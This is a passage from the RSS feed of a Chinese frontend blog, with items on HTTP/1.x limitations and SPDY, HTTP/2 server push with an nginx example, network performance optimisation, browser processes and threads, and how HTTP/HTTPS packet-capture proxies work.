&lt;li&gt;HTTP 1.1：尝试使用 pipeling 来解决，即浏览器可以一次性发出多个请求（同个域名，同一条 TCP 链接）。但 pipeling 要求返回是按序的，那么前一个请求如果很耗时（比如处理大图片），那么后面的请求即使服务器已经处理完，仍会等待前面的请求处理完才开始按序返回。所以，pipeling 只部分解决了 HOLB。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://link.juejin.cn/?target=https%3A%2F%2Fimage.fundebug.com%2F2019-03-06-1.png"&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/image-01.webp"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如上图所示，红色圈出来的请求就因域名链接数已超过限制，而被挂起等待了一段时间。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;协议开销大&lt;/strong&gt;： HTTP1.x 在使用时，header 里携带的内容过大，在一定程度上增加了传输的成本，并且每次请求 header 基本不怎么变化，尤其在移动端增加用户流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全因素&lt;/strong&gt;：HTTP1.x 在传输数据时，所有传输的内容都是明文，客户端和服务器端都无法验证对方的身份，这在一定程度上无法保证数据的安全性&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="三spdy-协议"&gt;三、SPDY 协议&lt;/h3&gt;
&lt;p&gt;因为 HTTP/1.x 的问题，我们会引入雪碧图、将小图内联、使用多个域名等等的方式来提高性能。不过这些优化都绕开了协议，直到 2009 年，谷歌公开了自行研发的 SPDY 协议，主要解决 HTTP/1.1 效率不高的问题。谷歌推出 SPDY，才算是正式改造 HTTP 协议本身。降低延迟，压缩 header 等等，SPDY 的实践证明了这些优化的效果，也最终带来 HTTP/2 的诞生。&lt;/p&gt;</description></item><item><title>http2.0 服务端推送</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-017/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-017/</guid><description>&lt;p&gt;HTTP/2.0 的 &lt;strong&gt;服务端推送（Server Push）&lt;/strong&gt; 是它相较于 HTTP/1.x 引入的一项重要功能，旨在优化网页加载性能，尤其是首次加载时资源依赖的获取效率。&lt;/p&gt;
&lt;h2 id="一什么是服务端推送"&gt;一、什么是服务端推送？&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HTTP/2 Server Push&lt;/strong&gt; 允许服务器&lt;strong&gt;主动将资源“推送”给客户端&lt;/strong&gt;，而不是等待客户端明确请求。这在某些场景下可以&lt;strong&gt;预加载依赖资源、减少请求延迟&lt;/strong&gt;，提升页面的首屏加载速度。&lt;/p&gt;
&lt;p&gt;例如： 客户端请求了 HTML 页面，服务器可以在返回 HTML 的同时，&lt;strong&gt;主动推送&lt;/strong&gt;页面所需的 CSS/JS 资源。&lt;/p&gt;
&lt;h2 id="二服务端推送的工作原理"&gt;二、服务端推送的工作原理&lt;/h2&gt;
&lt;h3 id="流程概览"&gt;流程概览：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;浏览器发送主资源请求（如 HTML）；&lt;/li&gt;
&lt;li&gt;服务器识别该请求需要哪些依赖资源（如 CSS、JS）；&lt;/li&gt;
&lt;li&gt;服务器将这些资源 &lt;strong&gt;打包为 PUSH_PROMISE 帧&lt;/strong&gt; 发送给客户端，声明它即将发送的资源；&lt;/li&gt;
&lt;li&gt;客户端接收到 &lt;code&gt;PUSH_PROMISE&lt;/code&gt; 后，&lt;strong&gt;会缓存该资源的响应&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;当浏览器稍后真正需要这个资源时，&lt;strong&gt;不会再发起真实请求&lt;/strong&gt;，而是从缓存中获取推送的内容；&lt;/li&gt;
&lt;li&gt;避免了请求的 RTT 往返延迟。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="技术细节"&gt;技术细节：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PUSH_PROMISE&lt;/strong&gt; 是 HTTP/2 中新增的帧类型，用于声明服务器准备推送的资源；&lt;/li&gt;
&lt;li&gt;所有推送的资源都绑定到一个主请求流（主页面），不能独立存在；&lt;/li&gt;
&lt;li&gt;客户端可选择 &lt;strong&gt;拒绝（RST_STREAM）&lt;/strong&gt; 不想要的推送资源；&lt;/li&gt;
&lt;li&gt;推送资源会根据缓存策略存储在浏览器的缓存中，不一定立即使用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="三实际示例nginx--link-header"&gt;三、实际示例（Nginx + Link Header）&lt;/h2&gt;
&lt;p&gt;在使用 Nginx 部署 HTTP/2 服务时，可以通过 &lt;code&gt;Link&lt;/code&gt; 响应头启用 Server Push：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;location&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;/index.html&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;http2_push&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/style.css&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;http2_push&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/main.js&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者使用 &lt;code&gt;Link&lt;/code&gt; 响应头方式：&lt;/p&gt;</description></item><item><title>网络性能优化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-018/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-018/</guid><description>&lt;p&gt;浏览器在加载页面时，大量的性能瓶颈集中在资源的请求、传输、解析与执行上。因此，&lt;strong&gt;网络层的性能优化&lt;/strong&gt;主要目标是：&lt;strong&gt;减少请求次数、降低资源大小、缩短首屏时间、提升加载体验&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="一请求数量优化"&gt;一、请求数量优化&lt;/h2&gt;
&lt;h3 id="1-合理拆分和合并资源"&gt;1. 合理拆分和合并资源&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按需加载（lazy loading / dynamic import）&lt;/strong&gt;：不一次加载所有模块，只加载当前页面/功能所需资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源合并（资源打包）&lt;/strong&gt;：减少请求数量，如合并多个 CSS/JS 文件（现代工具也支持 HTTP2 下保留拆分）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端渲染/预渲染&lt;/strong&gt;：减轻首屏资源请求压力。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-使用缓存避免重复请求"&gt;2. 使用缓存避免重复请求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用浏览器缓存控制（&lt;code&gt;Cache-Control&lt;/code&gt;、&lt;code&gt;ETag&lt;/code&gt;、&lt;code&gt;Last-Modified&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;对于不变资源，设置强缓存（&lt;code&gt;immutable&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;对接口返回数据做缓存（前端缓存策略或 HTTP 层缓存）；&lt;/li&gt;
&lt;li&gt;本地缓存，如 IndexedDB / LocalStorage 存储接口数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二资源体积优化"&gt;二、资源体积优化&lt;/h2&gt;
&lt;h3 id="1-压缩与代码优化"&gt;1. 压缩与代码优化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;启用 Gzip / Brotli 压缩静态资源（HTML、CSS、JS）；&lt;/li&gt;
&lt;li&gt;压缩图像（WebP、AVIF）、字体、视频等媒体资源；&lt;/li&gt;
&lt;li&gt;减少 polyfill 体积（如使用 &lt;code&gt;core-js&lt;/code&gt; 按需引入）；&lt;/li&gt;
&lt;li&gt;移除无用代码（Tree Shaking、CSS Purge、babel-plugin-transform-remove-console）；&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-精简传输内容"&gt;2. 精简传输内容&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;请求接口时使用精简字段、分页、后端裁剪；&lt;/li&gt;
&lt;li&gt;GraphQL 可按需返回字段，减少冗余数据传输；&lt;/li&gt;
&lt;li&gt;降低 Cookie 和请求头大小，避免请求体负担。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三加载顺序与优先级优化"&gt;三、加载顺序与优先级优化&lt;/h2&gt;
&lt;h3 id="1-关键资源优先加载"&gt;1. 关键资源优先加载&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;preload&lt;/code&gt;、&lt;code&gt;prefetch&lt;/code&gt;、&lt;code&gt;dns-prefetch&lt;/code&gt; 等 &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; 标签提示浏览器提前加载；&lt;/li&gt;
&lt;li&gt;使用 Webpack 的资源预加载配置控制打包 chunk 优先级；&lt;/li&gt;
&lt;li&gt;首屏资源内联（inline critical CSS）避免阻塞渲染。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-非关键资源延后加载"&gt;2. 非关键资源延后加载&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;图片懒加载（&lt;code&gt;loading=&amp;quot;lazy&amp;quot;&lt;/code&gt;、IntersectionObserver）；&lt;/li&gt;
&lt;li&gt;JS 异步加载（&lt;code&gt;&amp;lt;script async|defer&amp;gt;&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;第三方 SDK、监控等可延迟初始化。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="四协议与传输层优化"&gt;四、协议与传输层优化&lt;/h2&gt;
&lt;h3 id="1-使用-http2-或-http3"&gt;1. 使用 HTTP/2 或 HTTP/3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多路复用，减少 TCP 连接数，提高并发请求效率；&lt;/li&gt;
&lt;li&gt;头部压缩与服务器推送（HTTP/2 Push）；&lt;/li&gt;
&lt;li&gt;HTTP/3 基于 QUIC，有更快的连接建立速度与更少的丢包重传。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-减少不必要的重定向"&gt;2. 减少不必要的重定向&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;避免链式跳转；&lt;/li&gt;
&lt;li&gt;减少使用 302/301 等中间状态跳转，优化首次加载路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="五安全策略与跨域优化"&gt;五、安全策略与跨域优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;合理设置 &lt;code&gt;CORS&lt;/code&gt;，减少 preflight 请求；&lt;/li&gt;
&lt;li&gt;使用同源策略时避免冗余 OPTIONS 请求；&lt;/li&gt;
&lt;li&gt;减少跨域请求带来的额外开销（如 DNS、TLS 握手等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="六cdn-与资源分发优化"&gt;六、CDN 与资源分发优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 CDN 加速静态资源访问，减少物理距离造成的 RTT；&lt;/li&gt;
&lt;li&gt;使用全局 CDN 覆盖，支持边缘缓存与智能调度；&lt;/li&gt;
&lt;li&gt;配合版本号和 Hash 控制缓存刷新策略。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="七服务端协同优化"&gt;七、服务端协同优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;接口合并：多个小请求可由后端合并为一次大请求返回；&lt;/li&gt;
&lt;li&gt;接口压缩与限流：避免无用数据占带宽；&lt;/li&gt;
&lt;li&gt;优化接口响应结构与字段粒度；&lt;/li&gt;
&lt;li&gt;为前端提供异步批量资源接口（如配置/字典项/用户信息等合并加载）；&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="八实际指标与监控优化点"&gt;八、实际指标与监控优化点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;首字节时间（TTFB）优化；&lt;/li&gt;
&lt;li&gt;首屏渲染时间（FCP、LCP）优化；&lt;/li&gt;
&lt;li&gt;页面总加载时间（Fully Loaded）优化；&lt;/li&gt;
&lt;li&gt;网络错误率（如资源 404、接口失败率）监控；&lt;/li&gt;
&lt;li&gt;使用 Performance API、Web Vitals、Lighthouse 工具分析网络瓶颈。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="要点总结"&gt;要点总结&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;网络优化的本质是：&lt;strong&gt;更快、更少、更智能地请求资源&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;从请求数量、资源大小、传输协议、加载优先级、缓存策略、CDN 分发等多个维度同时入手；&lt;/li&gt;
&lt;li&gt;优化不是单一操作，而是&lt;strong&gt;持续评估、定位瓶颈、迭代调整&lt;/strong&gt;的过程；&lt;/li&gt;
&lt;li&gt;实际开发中建议结合 Chrome DevTools、Lighthouse、Performance API 等工具进行精细化分析与验证。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;p&gt;前端“网络层面的性能优化”是高频面试考点，涵盖了从资源加载、缓存、连接管理，到协议选择等多个方向。面试时往往从“用户输入 URL 到页面加载”这条链路入手，考查在网络传输环节提升页面性能的能力。&lt;/p&gt;</description></item><item><title>浏览器渲染过程中的网络层面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/</guid><description>&lt;h2 id="一梳理主干流程"&gt;一、梳理主干流程&lt;/h2&gt;
&lt;p&gt;知识体系中，最重要的是骨架，脉络。有了骨架后，才方便填充细节。所以，先梳理下主干流程：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;浏览器接收url并开启一个新进程（这一部分可以展开浏览器的进程与线程的关系）&lt;/li&gt;
&lt;li&gt;浏览器解析输入的 URL，提取出其中的协议、域名和路径等信息。（这部分涉及URL组成部分）&lt;/li&gt;
&lt;li&gt;浏览器向 DNS 服务器发送请求，DNS服务器通过 多层查询 将该 域名 解析为对应的 IP地址 ，然后将请求发送到该IP地址上，与 服务器 建立连接和交换数据。（这部分涉及DNS查询）&lt;/li&gt;
&lt;li&gt;浏览器与服务器建立 TCP 连接。（这部分涉及TCP三次握手/四次挥手/5层网络协议）&lt;/li&gt;
&lt;li&gt;浏览器向服务器发送 HTTP 请求，包含请求头和请求体。（4,5,6,7包含http头部、响应码、报文结构、cookie等知识）&lt;/li&gt;
&lt;li&gt;服务器接收并处理请求，并返回响应数据，包含状态码、响应头和响应体。&lt;/li&gt;
&lt;li&gt;浏览器接收到响应数据，解析响应头和响应体，并根据状态码判断是否成功。&lt;/li&gt;
&lt;li&gt;如果响应成功，浏览器接收到http数据包后的解析流程（这部分涉及到html - 词法分析，解析成DOM树，解析CSS生成CSSOM树（样式树），合并生成render渲染树（样式计算）。然后layout布局，分层，调用GPU绘制等，最后将绘制的结果合成最终的页面图像，显示在屏幕上。这个过程会发生回流和重绘）。&lt;/li&gt;
&lt;li&gt;连接结束 -&amp;gt; 断开TCP连接 四次挥手&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;梳理出主干骨架，然后就需要往骨架上填充细节内容。&lt;/p&gt;
&lt;p&gt;接下来重点介绍“浏览器渲染过程中的网络层面”。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二浏览器接收url并开启一个新进程"&gt;二、浏览器接收url并开启一个新进程&lt;/h2&gt;
&lt;p&gt;这部分内容开始之前我们需要先通过一张图对 进程 和 线程 的关系有一个初步的了解。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="1-浏览器是多进程的"&gt;1. 浏览器是多进程的&lt;/h3&gt;
&lt;p&gt;浏览器是多进程的，有一个主进程，每打开一个tab页面都会新开一个&lt;strong&gt;进程&lt;/strong&gt;（某些情况下多个tab会合并进程）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：在这里浏览器应该也有自己的优化机制，有时候打开多个tab页后，比如打开多个空白标签页。可以在Chrome任务管理器中看到，进程被合并了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进程可能包括主进程，插件进程，GPU，tab页（浏览器内核）等等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Browser进程&lt;/strong&gt;：浏览器的主进程（负责协调、主控），只有一个。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三方插件进程&lt;/strong&gt;：每种类型的插件对应一个进程，仅当使用该插件时才创建。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU进程&lt;/strong&gt;：最多一个，用于3D绘制等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;浏览器渲染进程&lt;/strong&gt;（浏览器内核）（内部是多线程的）：默认每个Tab页面一个进程，互不影响。作用是页面渲染，脚本执行，事件处理等。（浏览器有时候会优化，如多个空白页合并成一个进程）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;强化记忆：&lt;strong&gt;&lt;code&gt;在浏览器中打开一个网页相当于新起了一个进程（进程内有自己的多线程）&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下图以 chrome浏览器 为例。我们可以自己通过Chrome的更多工具 =》 任务管理器 自行验证查看，可以看到chrome的任务管理器中有多个进程（分别是每一个Tab页面有一个独立的进程，以及一个主进程）&lt;br&gt;
然后能看到每个进程的内存资源信息以及cpu占有率。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="2-浏览器内核是多线程的"&gt;2. 浏览器内核是多线程的&lt;/h3&gt;
&lt;p&gt;每一个tab页面可以看作是浏览器内核的一个进程，然后这个进程是多线程的，它有几大类子线程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GUI渲染线程&lt;/strong&gt;：负责渲染浏览器界面，解析HTML，CSS，构建DOM树和RenderObject树，布局和绘制等。&lt;code&gt;GUI渲染线程与JS引擎线程是互斥的&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JS引擎线程&lt;/strong&gt;：也叫 JS 内核，负责解析执行 JS 脚本程序的主线程，例如 V8 引擎。JS引擎一直等待着任务队列中任务的到来，然后加以处理，一个Tab页（renderer进程）中无论什么时候都只有一个JS线程在运行JS程序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件触发线程&lt;/strong&gt;：属于浏览器内核线程，主要用于控制事件，例如鼠标、键盘等，当事件被触发时，就会把事件的处理函数推进事件队列，等待 JS 引擎线程执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定时器触发线程&lt;/strong&gt;：主要控制 setInterval和 setTimeout，用来计时，计时完毕后，则把定时器的处理函数推进事件队列中，等待 JS 引擎线程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步http请求线程&lt;/strong&gt;：通过XMLHttpRequest连接后，通过浏览器新开的一个线程，监控readyState状态变更时，如果设置了该状态的回调函数，则将该状态的处理函数推进事件队列中，等待JS引擎线程执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-019/image-03.webp"&gt;&lt;/p&gt;</description></item><item><title>抓包工具</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/</guid><description>&lt;h2 id="抓包的原理"&gt;抓包的原理&lt;/h2&gt;
&lt;h3 id="什么是抓包"&gt;什么是抓包？&lt;/h3&gt;
&lt;p&gt;抓包就是将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作，通过抓包可以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分析网络问题&lt;/li&gt;
&lt;li&gt;业务分析&lt;/li&gt;
&lt;li&gt;分析网络信息流通量&lt;/li&gt;
&lt;li&gt;网络大数据金融风险控制&lt;/li&gt;
&lt;li&gt;探测企图入侵网络的攻击&lt;/li&gt;
&lt;li&gt;探测由内部和外部的用户滥用网络资源&lt;/li&gt;
&lt;li&gt;探测网络入侵后的影响&lt;/li&gt;
&lt;li&gt;监测链接互联网宽频流量&lt;/li&gt;
&lt;li&gt;监测网络使用流量（包括内部用户，外部用户和系统）&lt;/li&gt;
&lt;li&gt;监测互联网和用户电脑的安全状态&lt;/li&gt;
&lt;li&gt;渗透与欺骗&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;回顾下计算机网络知识，数据在网络上是以很小的&lt;code&gt;帧&lt;/code&gt;的单位传输的，帧通过特定的称为网络驱动程序的程序进行成型，然后通过网卡发送到网线上，通过网线到达目的机器，在目的机器的一端执行相反的过程。接收端机器的以太网捕获到这些帧，并告诉操作系统帧已到达，然后对其进行存储。在这个传输和接收的过程，就可以使用抓包工具（Sniffers）进行抓包，作为前端开发者，通常是抓取应用层的 HTTP/HTTPS 的包。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="httphttps-抓包原理"&gt;HTTP/HTTPS 抓包原理&lt;/h3&gt;
&lt;p&gt;HTTP/HTTPS 是应用层使用的通信协议，常见的应用层体系结构是客户端-服务器体系。&lt;/p&gt;
&lt;p&gt;对运行在不同端系统上的客户端程序和服务端程序是如何互相通信的么？实际上，在操作系统上的术语中，进行通信的实际上是&lt;code&gt;进程&lt;/code&gt;而不是程序，一个进程可以被认为是运行在端系统中的一个程序。&lt;/p&gt;
&lt;p&gt;在 web 应用程序中，一个客户浏览器进程与一台服务器进程进行会话交换报文。&lt;/p&gt;
&lt;p&gt;浏览器进程需要知道接收进程的主机地址，以及定义在目的主机中的接收进程的标识符，也就是目的端口。&lt;/p&gt;
&lt;p&gt;多数应用程序由通信进程对组成，每对中的两个进程互相发送报文。进程通过一个称为套接字的软件接口向网络发送报文和从网络接收报文。&lt;/p&gt;
&lt;p&gt;进程可以类比一座房子，而它的套接字可以是它的门，&lt;code&gt;套接字&lt;/code&gt;是应用层与运输层之间的端口。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;知道了两个进程的通信流程，我们要怎么抓包呢？举一个生活中的例子，小明暗恋小雯，于是他写了一封情书，但他有点害羞，找了小雯的好朋友小花帮忙传递情书。这个时候，小花可以负责小雯与小明之间的情书传递，作为中间人，她可以偷偷查看他们的情书内容。&lt;/p&gt;
&lt;p&gt;思路就是设置一个中间人进程负责抓包，每次目标进程之间的会话都先与中间人进程通信，再进行转发。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-020/image-03.webp"&gt;&lt;/p&gt;
&lt;h4 id="http-抓包原理"&gt;HTTP 抓包原理&lt;/h4&gt;
&lt;p&gt;在 http 标准中，没有对通信端身份验证的标准。对于服务器来说，它接收的 HTTP 请求报文只要格式符合规范，就发送响应报文。&lt;/p&gt;
&lt;p&gt;对于客户端来说也是如此，它无法校验服务器的身份，比如它连接的 &lt;code&gt;http://www.jecyu.com&lt;/code&gt; 的主机，但由于中间节点的存在，最终连接的可能是 &lt;code&gt;http://www.jerry.com&lt;/code&gt; 的主机。&lt;/p&gt;
&lt;p&gt;因此，对于 HTTP 抓包，无需做过多的处理，只需要让中间人负责转发客户端和服务端的数据包。&lt;/p&gt;
&lt;h4 id="https-抓包原理"&gt;HTTPS 抓包原理&lt;/h4&gt;
&lt;p&gt;HTTP 是明文传输，容易受到中间人攻击，不安全。&lt;/p&gt;
&lt;p&gt;HTTPS 语义仍然是 HTTP，只不过是在 HTTP 协议栈中 http 与 tcp 之间插入安全层 &lt;code&gt;SSL/TSL&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;安全层采用&lt;strong&gt;对称加密的方式加密传输数据和非对称加密的方式来传输对称密钥&lt;/strong&gt;，解决 http 数据没有加密、无法验证身份、数据容易纂改三个核心问题。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP + 加密 + 认证 + 完整性保护 = HTTPS&lt;/p&gt;</description></item></channel></rss>